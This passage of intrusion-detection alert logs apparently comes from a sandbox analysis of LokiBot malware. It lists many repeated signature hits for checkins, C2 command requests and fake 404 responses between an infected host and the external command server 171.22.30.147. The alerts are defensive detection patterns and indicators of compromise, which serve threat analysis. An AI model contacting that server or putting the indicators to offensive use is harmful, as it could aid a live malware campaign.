Source Port:	80
Destination Port:	49724
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749852802025381 01/05/23-08:52:56.705137
SID:	2025381
Source Port:	49852
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749963802021641 01/05/23-08:53:30.141323
SID:	2021641
Source Port:	49963
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749767802021641 01/05/23-08:52:30.299348
SID:	2021641
Source Port:	49767
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749769802025381 01/05/23-08:52:30.825016
SID:	2025381
Source Port:	49769
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750074802025381 01/05/23-08:54:01.233569
SID:	2025381
Source Port:	50074
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749792802825766 01/05/23-08:52:38.887901
SID:	2825766
Source Port:	49792
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749870802025381 01/05/23-08:53:01.561418
SID:	2025381
Source Port:	49870
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499882025483 01/05/23-08:53:36.904163
SID:	2025483
Source Port:	80
Destination Port:	49988
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500592025483 01/05/23-08:53:57.366003
SID:	2025483
Source Port:	80
Destination Port:	50059
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499822025483 01/05/23-08:53:35.304712
SID:	2025483
Source Port:	80
Destination Port:	49982
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749947802025381 01/05/23-08:53:23.814636
SID:	2025381
Source Port:	49947
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749754802825766 01/05/23-08:52:26.655822
SID:	2825766
Source Port:	49754
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749916802025381 01/05/23-08:53:15.372296
SID:	2025381
Source Port:	49916
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749932802825766 01/05/23-08:53:19.762349
SID:	2825766
Source Port:	49932
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499382025483 01/05/23-08:53:21.462781
SID:	2025483
Source Port:	80
Destination Port:	49938
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750008802025381 01/05/23-08:53:42.094852
SID:	2025381
Source Port:	50008
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749904802825766 01/05/23-08:53:12.139251
SID:	2825766
Source Port:	49904
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750047802024318 01/05/23-08:53:54.007519
SID:	2024318
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750048802825766 01/05/23-08:53:54.265201
SID:	2825766
Source Port:	50048
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498832025483 01/05/23-08:53:05.117912
SID:	2025483
Source Port:	80
Destination Port:	49883
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750050802021641 01/05/23-08:53:54.799294
SID:	2021641
Source Port:	50050
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749902802021641 01/05/23-08:53:11.610501
SID:	2021641
Source Port:	49902
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749919802025381 01/05/23-08:53:16.188265
SID:	2025381
Source Port:	49919
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749765802021641 01/05/23-08:52:29.748218
SID:	2021641
Source Port:	49765
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750069802025381 01/05/23-08:53:59.913079
SID:	2025381
Source Port:	50069
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497522025483 01/05/23-08:52:26.122774
SID:	2025483
Source Port:	80
Destination Port:	49752
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749905802021641 01/05/23-08:53:12.409052
SID:	2021641
Source Port:	49905
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750055802021641 01/05/23-08:53:56.183544
SID:	2021641
Source Port:	50055
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749753802024318 01/05/23-08:52:26.326305
SID:	2024318
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749700802825766 01/05/23-08:52:07.351938
SID:	2825766
Source Port:	49700
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749857802021641 01/05/23-08:52:58.054307
SID:	2021641
Source Port:	49857
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749727802021641 01/05/23-08:52:18.985108
SID:	2021641
Source Port:	49727
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499002025483 01/05/23-08:53:11.081962
SID:	2025483
Source Port:	80
Destination Port:	49900
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749944802025381 01/05/23-08:53:23.021157
SID:	2025381
Source Port:	49944
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750009802024313 01/05/23-08:53:42.368696
SID:	2024313
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749871802021641 01/05/23-08:53:01.829225
SID:	2021641
Source Port:	49871
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749931802024318 01/05/23-08:53:19.484274
SID:	2024318
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750009802024318 01/05/23-08:53:42.368696
SID:	2024318
Source Port:	50009
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749753802024313 01/05/23-08:52:26.326305
SID:	2024313
Source Port:	49753
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750075802024313 01/05/23-08:54:01.517358
SID:	2024313
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749716802021641 01/05/23-08:52:14.357533
SID:	2021641
Source Port:	49716
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749931802024313 01/05/23-08:53:19.484274
SID:	2024313
Source Port:	49931
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750075802024318 01/05/23-08:54:01.517358
SID:	2024318
Source Port:	50075
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749793802021641 01/05/23-08:52:39.171445
SID:	2021641
Source Port:	49793
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749803802025381 01/05/23-08:52:41.905218
SID:	2025381
Source Port:	49803
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749853802024313 01/05/23-08:52:56.960046
SID:	2024313
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749853802024318 01/05/23-08:52:56.960046
SID:	2024318
Source Port:	49853
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750027802021641 01/05/23-08:53:48.599181
SID:	2021641
Source Port:	50027
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749979802825766 01/05/23-08:53:34.430839
SID:	2825766
Source Port:	49979
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749758802025381 01/05/23-08:52:27.765970
SID:	2025381
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749879802024313 01/05/23-08:53:03.965987
SID:	2024313
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500052025483 01/05/23-08:53:41.369351
SID:	2025483
Source Port:	80
Destination Port:	50005
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749847802025381 01/05/23-08:52:55.372015
SID:	2025381
Source Port:	49847
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749823802825766 01/05/23-08:52:47.379297
SID:	2825766
Source Port:	49823
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749928802021641 01/05/23-08:53:18.678448
SID:	2021641
Source Port:	49928
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498732025483 01/05/23-08:53:02.440443
SID:	2025483
Source Port:	80
Destination Port:	49873
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750080802825766 01/05/23-08:54:02.852694
SID:	2825766
Source Port:	50080
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749839802021641 01/05/23-08:52:53.202583
SID:	2021641
Source Port:	49839
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750043802025381 01/05/23-08:53:52.949985
SID:	2025381
Source Port:	50043
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749756802024318 01/05/23-08:52:27.231494
SID:	2024318
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749822802024313 01/05/23-08:52:47.112264
SID:	2024313
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749756802024313 01/05/23-08:52:27.231494
SID:	2024313
Source Port:	49756
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749762802021641 01/05/23-08:52:28.868227
SID:	2021641
Source Port:	49762
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749822802024318 01/05/23-08:52:47.112264
SID:	2024318
Source Port:	49822
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749744802021641 01/05/23-08:52:23.736699
SID:	2021641
Source Port:	49744
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749786802025381 01/05/23-08:52:37.217550
SID:	2025381
Source Port:	49786
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749804802024318 01/05/23-08:52:42.167879
SID:	2024318
Source Port:	49804
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380497742025483 01/05/23-08:52:32.449175
SID:	2025483
Source Port:	80
Destination Port:	49774
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749810802021641 01/05/23-08:52:43.863274
SID:	2021641
Source Port:	49810
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749982802025381 01/05/23-08:53:35.215314
SID:	2025381
Source Port:	49982
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750047802024313 01/05/23-08:53:54.007519
SID:	2024313
Source Port:	50047
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749940802021641 01/05/23-08:53:21.893765
SID:	2021641
Source Port:	49940
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749833802021641 01/05/23-08:52:50.090304
SID:	2021641
Source Port:	49833
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749875802025381 01/05/23-08:53:02.907470
SID:	2025381
Source Port:	49875
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498392025483 01/05/23-08:52:53.283912
SID:	2025483
Source Port:	80
Destination Port:	49839
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380499602025483 01/05/23-08:53:28.551541
SID:	2025483
Source Port:	80
Destination Port:	49960
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749980802024318 01/05/23-08:53:34.702395
SID:	2024318
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749981802825766 01/05/23-08:53:34.961120
SID:	2825766
Source Port:	49981
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749784802024318 01/05/23-08:52:36.673037
SID:	2024318
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749790802021641 01/05/23-08:52:38.345416
SID:	2021641
Source Port:	49790
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749850802024318 01/05/23-08:52:56.172529
SID:	2024318
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749850802024313 01/05/23-08:52:56.172529
SID:	2024313
Source Port:	49850
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749879802024318 01/05/23-08:53:03.965987
SID:	2024318
Source Port:	49879
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749784802024313 01/05/23-08:52:36.673037
SID:	2024313
Source Port:	49784
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M1 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749980802024313 01/05/23-08:53:34.702395
SID:	2024313
Source Port:	49980
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750001802021641 01/05/23-08:53:40.243949
SID:	2021641
Source Port:	50001
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498232025483 01/05/23-08:52:47.459157
SID:	2025483
Source Port:	80
Destination Port:	49823
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749824802025381 01/05/23-08:52:47.639113
SID:	2025381
Source Port:	49824
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749849802825766 01/05/23-08:52:55.895226
SID:	2825766
Source Port:	49849
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749991802021641 01/05/23-08:53:37.629731
SID:	2021641
Source Port:	49991
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749994802021641 01/05/23-08:53:38.408241
SID:	2021641
Source Port:	49994
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot User-Agent (Charon/Inferno) - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750004802021641 01/05/23-08:53:41.033557
SID:	2021641
Source Port:	50004
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749953802825766 01/05/23-08:53:25.469204
SID:	2825766
Source Port:	49953
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500112025483 01/05/23-08:53:43.008527
SID:	2025483
Source Port:	80
Destination Port:	50011
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380500712025483 01/05/23-08:54:00.509398
SID:	2025483
Source Port:	80
Destination Port:	50071
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749950802825766 01/05/23-08:53:24.624259
SID:	2825766
Source Port:	49950
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ETPRO TROJAN LokiBot Checkin M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749861802825766 01/05/23-08:52:59.149010
SID:	2825766
Source Port:	49861
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Fake 404 Response - Source IP: 171.22.30.147 - Destination IP: 192.168.2.3

Timestamp:	171.22.30.147192.168.2.380498012025483 01/05/23-08:52:41.456999
SID:	2025483
Source Port:	80
Destination Port:	49801
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Checkin - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14749821802025381 01/05/23-08:52:46.829983
SID:	2025381
Source Port:	49821
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

Timestamp:	192.168.2.3171.22.30.14750044802024318 01/05/23-08:53:53.227481
SID:	2024318
Source Port:	50044
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN LokiBot Request for C2 Commands Detected M2 - Source IP: 192.168.2.3 - Destination IP: 171.22.30.147

